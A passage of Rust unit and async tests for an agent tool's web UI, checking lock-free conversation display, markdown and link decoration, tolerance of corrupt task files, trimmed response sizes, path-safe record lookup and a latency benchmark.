27993            // Release all blockers before assertions, including on a regression.
27994            drop(store);
27995            drop(bulk);
27996            release.send(()).unwrap();
27997            occupied.await.unwrap();
27998            let _ = secondary.await.unwrap().unwrap();
27999            let Json(core) = result
28000                .expect("transcript must bypass secondary work and the worker store lock")
28001                .unwrap();
28002            assert!(
28003                core.thinking,
28004                "read-only observation retains live worker state"
28005            );
28006            assert_eq!(core.talk.id, id);
28007            let admission_ui = ui.clone();
28008            let (release, held) = std::sync::mpsc::channel();
28009            let (started, ready) = tokio::sync::oneshot::channel();
28010            let admission = std::thread::spawn(move || {
28011                let _lock = admission_ui.talk_turns.lock().unwrap();
28012                started.send(()).unwrap();
28013                held.recv().unwrap();
28014            });
28015            ready.await.unwrap();
28016            let result = tokio::time::timeout(
28017                Duration::from_secs(2),
28018                talk_core(State(ui.clone()), Path(id.clone())),
28019            )
28020            .await;
28021            release.send(()).unwrap();
28022            admission.join().unwrap();
28023            assert!(
28024                result
28025                    .expect("display must not wait behind local admission")
28026                    .unwrap()
28027                    .0
28028                    .thinking
28029            );
28030            assert!(ui.is_thinking(&id));
28031            assert!(ui.is_thinking_observed(&id));
28032            drop(live);
28033            assert!(
28034                !ui.is_thinking_observed(&id),
28035                "a finished lease no longer appears live"
28036            );
28037            assert!(!ui.is_thinking(&id));
28038            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
28039            assert!(
28040                ui.is_thinking_observed(&id),
28041                "local admission remains visible"
28042            );
28043        });
28044    }
28045
28046    #[tokio::test]
28047    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
28048        let home = tempfile::tempdir().unwrap();
28049        let ui = delta_test_ui(home.path());
28050        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
28051        let mut task = Task::new(
28052            "Referenced task".into(),
28053            "Unrelated instruction history".repeat(1024),
28054            home.path().into(),
28055            Source::Human,
28056        );
28057        task.id = "20261019-000000-abcd".into();
28058        ui.queue.put(&mut task).unwrap();
28059        let mut conversation = ui.talks.get(&id).unwrap();
28060        conversation.turns.push(talk::Turn {
28061            sender: Some(talk::Sender::Persona),
28062            who: talk::Who::Agent,
28063            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
28064            at: conversation.created_at,
28065            attachments: Vec::new(),
28066            usage: None,
28067            breaks: None,
28068            messages: Vec::new(),
28069            posted_by: None,
28070        });
28071        ui.talks.put(&mut conversation).unwrap();
28072
28073        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
28074        let markdown = serde_json::to_value(&core.turn_bodies_md)
28075            .unwrap()
28076            .to_string();
28077        assert!(markdown.contains("\"strong\""));
28078        assert!(markdown.contains("\"table\""));
28079        assert!(markdown.contains("\"bullet_list\""));
28080        assert!(markdown.contains("\"code_block\""));
28081        assert!(!markdown.contains("\"internal_link\""));
28082        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
28083        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
28084        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
28085
28086        // Deferred decoration still resolves the same validated task, without
28087        // touching opaque code blocks or changing the original transcript.
28088        let references = ui.references.for_talk(home.path(), &conversation);
28089        let mut decorated = core.turn_bodies_md[0].clone();
28090        references.markdown(&mut decorated);
28091        let decorated = serde_json::to_value(decorated).unwrap().to_string();
28092        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
28093        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
28094        assert_eq!(
28095            ui.talks.get(&conversation.id).unwrap().turns[0].body,
28096            conversation.turns[0].body
28097        );
28098    }
28099
28100    #[tokio::test]
28101    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
28102        let home = tempfile::tempdir().unwrap();
28103        let ui = delta_test_ui(home.path());
28104        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28105        let mut run = RunState::new(
28106            PathBuf::from("/repo"),
28107            "main".into(),
28108            "01234567".into(),
28109            "Useful run".into(),
28110            Config::default(),
28111        );
28112        run.save_under(home.path()).unwrap();
28113        let mut task = Task::new(
28114            "Related".into(),
28115            "body".into(),
28116            PathBuf::from("/repo"),
28117            Source::Agent {
28118                run: talk_id.clone(),
28119                node: "chat".into(),
28120            },
28121        );
28122        task.runs = vec![run.id.clone()];
28123        ui.queue.put(&mut task).unwrap();
28124        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
28125        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
28126        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
28127        assert!(
28128            run_detail(State(ui.clone()), Path(run.id.clone()))
28129                .await
28130                .is_ok()
28131        );
28132        assert!(
28133            talk_sections(State(ui.clone()), Path(talk_id.clone()))
28134                .await
28135                .is_ok()
28136        );
28137        // Previously indexed corruption must not masquerade as no relationship.
28138        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
28139        assert!(ui.find_task_for_run(&run.id).is_err());
28140        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
28141        ui.queue.put(&mut task).unwrap();
28142        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
28143    }
28144
28145    #[tokio::test]
28146    async fn conversation_sections_omit_large_task_instructions() {
28147        let home = tempfile::tempdir().unwrap();
28148        let ui = delta_test_ui(home.path());
28149        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28150        let mut task = Task::new(
28151            "filed task".into(),
28152            "large instruction ".repeat(65536),
28153            PathBuf::from("/repo"),
28154            Source::Agent {
28155                run: id.clone(),
28156                node: "chat".into(),
28157            },
28158        );
28159        ui.queue.put(&mut task).unwrap();
28160        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
28161        assert_eq!(sections["tasks"][0]["id"], task.id);
28162        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
28163        assert!(sections["tasks"][0].get("instruction").is_none());
28164        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
28165    }
28166
28167    #[test]
28168    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
28169        let home = tempfile::tempdir().unwrap();
28170        let talks = Talks::at(home.path().join("talks"));
28171        seed_talk_at(&talks, "20261019-000001-abcd", "open");
28172        seed_talk_at(&talks, "20261019-000002-abcd", "open");
28173        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
28174        assert!(resolve_talk(&talks, "../outside").is_err());
28175        assert!(resolve_talk(&talks, "abcd").is_err());
28176        assert_eq!(
28177            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
28178            "20261019-000001-abcd"
28179        );
28180    }
28181
28182    include!(concat!(
28183        env!("CARGO_MANIFEST_DIR"),
28184        "/tests/web_latency/baseline.rs"
28185    ));
28186
28187    include!(concat!(
28188        env!("CARGO_MANIFEST_DIR"),
28189        "/tests/web_latency/lists.rs"
28190    ));
28191
28192    #[tokio::test]
28193    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
28194    async fn web_history_latency_measurement() {
28195        use std::time::Instant;
28196        let home = tempfile::tempdir().unwrap();
28197        let ui = delta_test_ui(home.path());
28198        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28199        let mut template = ui.talks.get(&id).unwrap();
28200        template.turns = serde_json::from_value(serde_json::json!([{
28201            "who": "operator", "body": "Show the accumulated work and its current status.",
28202            "at": Timestamp::now().to_string(),
28203        }]))
28204        .unwrap();
28205        std::fs::write(
28206            ui.talks.path_of(&id),
28207            serde_json::to_vec(&template).unwrap(),
28208        )
28209        .unwrap();
28210        let count = std::env::var("MAGI_BENCH_RECORDS")
28211            .ok()
28212            .and_then(|s| s.parse::<usize>().ok())
28213            .unwrap_or(1000);
28214        for i in 0..count {
28215            template.id = format!("20261019-{i:06}-history");
28216            template.pending = "history ".repeat(2048);
28217            std::fs::write(
28218                ui.talks.path_of(&template.id),
28219                serde_json::to_vec(&template).unwrap(),
28220            )
28221            .unwrap();
28222            let mut task = Task::new(
28223                "old task".into(),
28224                "instruction ".repeat(2048),
28225                PathBuf::from("/repo"),
28226                Source::Human,
28227            );
28228            task.id = format!("20261019-{i:06}-task");
28229            ui.queue.put(&mut task).unwrap();
28230        }
28231        for baseline in [true, false] {
28232            for clients in [1, 4] {
28233                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
28234                let mut samples = Vec::new();
28235                for _ in 0..12 {
28236                    let mut jobs = Vec::new();
28237                    for _ in 0..clients {
28238                        let ui = ui.clone();
28239                        let id = id.clone();
28240                        jobs.push(tokio::spawn(async move {
28241                            let start = Instant::now();
28242                            if baseline {
28243                                let response =
28244                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
28245                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
28246                                return (
28247                                    elapsed,
28248                                    elapsed,
28249                                    serde_json::to_vec(&response).unwrap().len(),
28250                                );
28251                            }
28252                            let core = talk_core(State(ui.clone()), Path(id.clone()));
28253                            let secondary = talk_sections(State(ui), Path(id));
28254                            let (first, total) = tokio::join!(
28255                                async {
28256                                    let value = core.await.unwrap().0;
28257                                    (
28258                                        start.elapsed().as_secs_f64() * 1000.0,
28259                                        serde_json::to_vec(&value).unwrap().len(),
28260                                    )
28261                                },
28262                                async {
28263                                    let value = secondary.await.unwrap().0;
28264                                    (
28265                                        start.elapsed().as_secs_f64() * 1000.0,
28266                                        serde_json::to_vec(&value).unwrap().len(),
28267                                    )
28268                                }
28269                            );
28270                            (first.0, first.0.max(total.0), first.1 + total.1)
28271                        }));
28272                    }
28273                    for job in jobs {
28274                        samples.push(job.await.unwrap());
28275                    }
28276                }
28277                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
28278                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
28279                first.sort_by(f64::total_cmp);
28280                total.sort_by(f64::total_cmp);
28281                let n = first.len();
28282                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
28283                println!(
28284                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
28285                    first[n / 2],
28286                    first[(n * 95 / 100).min(n - 1)],
28287                    total[n / 2],
28288                    total[(n * 95 / 100).min(n - 1)],
28289                    samples[0].2
28290                );
28291            }
28292        }
28293    }
28294
28295    #[test]
28296    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
28297        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
28298        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
28299        assert!(APP_JS.contains("function nextRunRequest(id)"));
28300        assert!(APP_JS.contains("function runShell(id, summary)"));
28301        assert!(APP_JS.contains("function nextTaskRequest(id)"));
28302        assert!(APP_JS.contains("function taskShell(id, summary)"));
28303        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
28304    }
28305}